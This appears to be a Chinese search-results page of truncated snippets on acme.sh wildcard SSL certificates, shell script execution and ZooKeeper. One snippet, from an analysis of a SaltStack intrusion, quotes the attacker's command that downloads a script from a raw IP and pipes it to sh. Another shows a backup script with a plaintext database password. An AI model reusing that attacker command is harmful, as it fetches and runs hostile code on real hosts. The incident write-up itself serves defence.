原本用的阿里腾讯免费ssl 发现过期更新起来比较麻烦 于是就折腾使用acme.sh 自动申请泛域名ssl ZeroSSL。.../acme.sh Wiki (github.com) 文档 SSL证书验证可通过DNS验证、文件验证等多种方式,为了方便多个域名申请以及后续证书更新,推荐使用DNS API方式,不过在使用前需要先进行设置...ZeroSSL泛域名SSL证书,需要先关联账户,执行下面的命令会自动关联账户,命令如下(mail@mail.com 改成你自己的ZeroSSL邮箱,即使没注册,运行命令之后也会自动注册的 acme.sh...--register-account -m mail@mail.com --server zerossl 申请SSL 账户注册关联完成后申请泛域名证书 执行命令申请SSL acme.sh --dns...dns_dp --issue -d *.domain.com -d domain.com dns_dp 是指DNSPOD,domain.com 换成你的域名
acme.sh配置泛域名证书Let'sEncrypt 作者:matrix 被围观: 3,071 次 发布时间:2019-09-18 分类:Linux | 无评论 » 这是一个创建于 1078...dns验证方式-获取域名dns token 这里使用域名解析服务商的token来进行域名拥有验证 在dnspod.cn上操作申请获取ID和token。 ssh执行命令设置变量,便于后面脚本读取。...其他域名解析商的api token操作: https://github.com/Neilpang/acme.sh/wiki/dnsapi 申请泛域名证书 为域名hhtjim.com申请证书。...: dns_dp 为dnspod ,如果是dns则为 dns_ali 前面-d参数指定根域名,后面-d指定子级泛域名 .hhtjim.com的证书只能支持通配符当前级别的域名,也就是xxx.hhtjim.com...以后的所有子域名都可以使用这个路径的证书。
用acme.sh自动部署域名证书 安装ACME 目前使用量最大的免费SSL证书就是Let’s Encrypt,自2018-03开始,Let’s Encrypt官方发布上线了免费的SSL泛域名证书,目前通过...DNS方式获取比较快,国内可以通过鹅云的DNSPod域名API或者猫云域名API自动签发Let’s Encrypt泛域名证书。...因为鹅云使用的就是DNSPod域名,并且鹅云和DNSPod的账号是打通的,可以使用wx直接扫码登录。下文需要对鹅云和DNSPod进行操作,为了简化证书申请过程,需要提前安装acme.sh。...坏处是,如果不同时配置 Automatic DNS API,使用这种方式 acme.sh 将无法自动更新证书,每次都需要手动再次重新解析验证域名所有权。...然后, acme.sh 会生成相应的解析记录显示出来, 你只需要在你的域名管理面板中添加这条 txt 记录即可.
各家云厂商也开始割起来了域名证书的韭菜,泛域名证书收费昂贵,单域名证书免费但将有效期都调整为了三个月。...--issue --dns dns_dp -d example.com -d *.example.com 运行后,acme.sh 将自动为example.com域名申请泛域名证书,如果没有出错,会将证书文件保存在...~/.acme.sh/example.com/目录下,并且会自动为该域名创建配置,以便自动执行续期任务。...是一个功能强大、配置灵活的 ACME 客户端,特别适合需要管理多个域名和子域名的用户。...通过 acme.sh,不仅可以快速申请泛域名证书,还能轻松实现自动更新,降低了 SSL 证书管理的复杂度。 如果你的站点涉及多个子域名,那么使用 acme.sh 申请泛域名证书是一个不错的选择。
,和 Let's Encrypt 一样,证书有效期只有 90 天,支持泛域名 SSL 证书。...ZeroSSL,代码如下: acme.sh --set-default-ca --server zerossl 系统返回的命令就是zerossl服务商,然后我们设置下域名解析的DNS API。...1651548646-微信截图_20220503113025.png 账户注册关联完成后申请泛域名证书,执行以下命令: acme.sh --dns dns_dp --issue -d *.imotao.com...-d imotao.com 其中 dns_dp 是指DNSPOD,*.imotao.com 换成您的 域名即可 PS:一定要设置两个域名,一个是*.域名,另外一个是域名,按照代码命令设置,图中未设置imotao.com...copy 到相应的位置,我们先去/home/目录下新建一个/ssl/文件夹,进入文件夹在新建一个/域名文件夹/,例如, /home/ssl/imotao.com/,然后执行以下命令: acme.sh
SSL证书就咨询了以下,发现他的是zerossl的证书,当然跟青云的一样有效期三个月,但是zerossl可以通过acme.sh实现自动续费,目前acme泛域名貌似仅仅命令形式申请,在官网上申请的时候需要一些费用才行...curl https://get.acme.sh | sh source ~/.bashrc 或者: wget -O - https://get.acme.sh | sh 使用curl命令安装的第一次出现了如图的错误...acme.sh --set-default-ca --server zerossl 系统返回的命令就是zerossl服务商,然后我们设置下域名解析的DNS API。...账户注册关联完成后申请泛域名证书,执行以下命令: acme.sh --dns dns_dp --issue -d *.talklee.com 其中 dns_dp 是指DNSPOD,*.talklee.com...换成您的 域名即可,完成后如图: 注:acme.sh支持多个DNS服务商,演示用的dnspod,其他的服务商可以参考官方文档:https://github.com/acmesh-official/acme.sh
(1)使用sh test.sh执行 使用 sh test.sh 来执行script文件,该方法标明使用 sh 这种shell来执行test.sh文件,sh已经是一种被bash替代的shell....尽管我们在test.sh中声明使用 #!/bin/bash 来执行我们的文件,但此时使用sh而不是bash,则#!/bin/bash 已不起作用。...(2)使用bash test.sh 执行 该方法其实与 sh test.sh 的原理一样,只是使用了 /bin/bash 该种shell来执行我们的脚本文件。...所以,其实使用 dash test.sh' 也是可以的,只是取决于自己想使用那种shell来执行脚本,但sh、bash、dash三者有些许差别,对于部分关键字如 let,bash支持,而sh和dash并不支持.../sh 文件开头***的含义:#!/bin/sh 以下的代码由/bin/sh 来解释#!/bin/bash 以bash shell来解释#!
后面就是脚本解释器的位置,Bash 脚本的解释器一般是/bin/sh或/bin/bash。 #!/bin/sh # 或者 #!...举例来说,脚本是script.sh,有 Shebang 行的时候,可以直接调用执行。 $ ./script.sh 如果没有 Shebang 行,就只能手动将脚本传给解释器来执行。...$ /bin/sh ./script.sh # 或者 $ bash ..../read_sh.sh 输入一些文本 > huangzle 你的输入:huangzle read可以接受用户输入的多个值。 #!...下面是一个示例脚本test.sh。 #!
sh算法也是一种动态算法,他根据源地址的关键字通过加密算法算得后端主机,算出来以后从此访问只访问通过算法算出来的主机,而不访问别的主机 ? ?
#!/bin/bash echo "开始" echo "`date "+%Y-%m-%d %H:%M:%S"` 正在杀进程..." ps -ef | grep ...
#!/bin/bash #数据库用户名 user=root #数据库密码 key=zhihan12345 #被备份的数据库名称 dbname=jeecmsv7 ...
salt-master的日志文件/var/log/salt/minion,是否存在可疑命令执行,筛选cmdmod: 找到可疑的命令执行内容: (curl -s 217.12.210.192/sa.sh...||wget -q -O- 217.12.210.192/sa.sh)|sh 确认SaltStack版本,是否存在漏洞CVE-2020-11651。...样本分析 共三个样本: 文件名 MD5 sa.sh 204780df7dd946401d6e545a130689fb salt-store 8ec3385e20d6d9a88bc95831783beaeb...salt-minions a28ded80d7ab5c69d6ccde4602eef861 sa.sh 这是黑客原始下载执行的脚本文件,salt-store从这里下载下载的。
github打不开了,直接上源码: InstallSym.sh 使用:..../InstallSym.sh path/of/so_file [/path/of/symbol/] 传递so路径,即可生成对应的符号表,并安装在合适的目录下。 #!
参考这篇文章,成功将腾讯云ECS上相关子域名的域名证书都改为了自动续签。有需要可以参考下面的内容。...一直以来,使用 acme.sh 为域名申请证书都是通过 DNSPod API 来实现的,但由于 DNSPod API 后续将不再维护,同时旧版DNSPod API 将不再有服务承诺,以及旧版 API 存在着接口不稳定...申请证书,例如acme.sh --issue --dns dns_tencent -d example.com -d *.example.com运行后,acme.sh 将自动为您的域名申请证书,并将证书文件保存在...~/.acme.sh/example.com/目录下,并且会自动为您的域名配置证书自动续期任务,无需手动续期。.../path/to/fullchain/nginx/cert.pem \--reloadcmd "service nginx force-reload"请将example.com替换为您的域名,/path
linux中.sh文件是什么?linux中.sh文件是脚本文件,一般都是bash脚本。想运行的话就用sh命令运行sh xxx.sh。...注:sh或是执行脚本,或是切换到sh这个bash里,默认的shell是bash。当然,linux中sh是链接到bash上的,所以sh与bash在功能上是没有区别的。...还有就是在执行脚本的时候是用sh + 脚本名的方式来执行,其实,大部分的时候,简单脚本只要权限设置正确,可以直接执行,不需要sh命令的。
/加上文件名.sh,如运行hello.sh为..../hello.sh【hello.sh必须有x权限】 二、直接sh 加上文件名.sh,如运行hello.sh为sh hello.sh【hello.sh可以没有x权限】 方法一:绝对路径执行.sh文件.../home/test/shell/hello.sh /home/test/shell/hello.sh sh /home/test/shell/hello.sh 方法二:当前目录执行.sh文件 1、cd...到.sh文件所在目录 比如以hello.sh文件为例,如下 2、给.sh文件添加x执行权限 比如以hello.sh文件为例,chmod u+x hello.sh,如下图 3、..../hello.sh 即可执行hello.sh文件,如下图 4、sh 执行.sh文件 以hello.sh文件为例,sh hello.sh即可执行hello.sh文件,如下图 注:用“./”加文件名.sh
变量使用 #!/bin/bash # 打印在执行的当前目录名称,比如在~打印当前用户,在~/Downloads目录下打印为Downloads proj=$(...
install gnome-panel echo "gnome-session –session=ubuntu-2d" > ~/.xsession sudo service xrdp restart sudo sh
问题 shell脚本之前一直执行正常,今天突然报错了 root@node:~/scripts# sh JavaInstall.sh JavaInstall.sh: 22: [: unexpected...operator JavaInstall.sh: 32: [: unexpected operator 解决办法 原来Ubuntu下sh连接到dash,不是bash。...root@node:~# sudo dpkg-reconfigure dash 正在删除 dash 导致 /bin/sh 转移到 /bin/sh.distrib 正在添加 bash 导致 /bin/sh...转移到 /bin/sh.distrib 正在删除 dash 导致 /usr/share/man/man1/sh.1.gz 转移到 /usr/share/man/man1/sh.distrib.1.gz...正在添加 bash 导致 /usr/share/man/man1/sh.1.gz 转移到 /usr/share/man/man1/sh.distrib.1.gz
上篇博文,我们成功的安装和启动了zookeeper服务器,zookeeper还提供了很多方便的功能,方便我们查看服务器的状态,增加,修改,删除数据(入口是zkServer.sh和zkCli.sh)。...zkServer.sh zookeeper启动成功之后,我们先看一下zkServer.sh提供的主要功能: 查看服务器状态 [yinpeng@slave1 zookeeper-3.4.9]$ ..../bin/zkServer.sh status ZooKeeper JMX enabled by default Using config: /home/yinpeng/yuliang/zookeeper.../bin/zkServer.sh {start|start-foreground|stop|restart|status|upgrade|print-cmd} zkServer.sh还提供了启动,停止,...zkCli.sh 使用zkCli.sh可以连接zookeeper,以及在客户端操作zookeeper。 首先,连接zookeeper .
领取专属 10元无门槛券
手把手带您无忧上云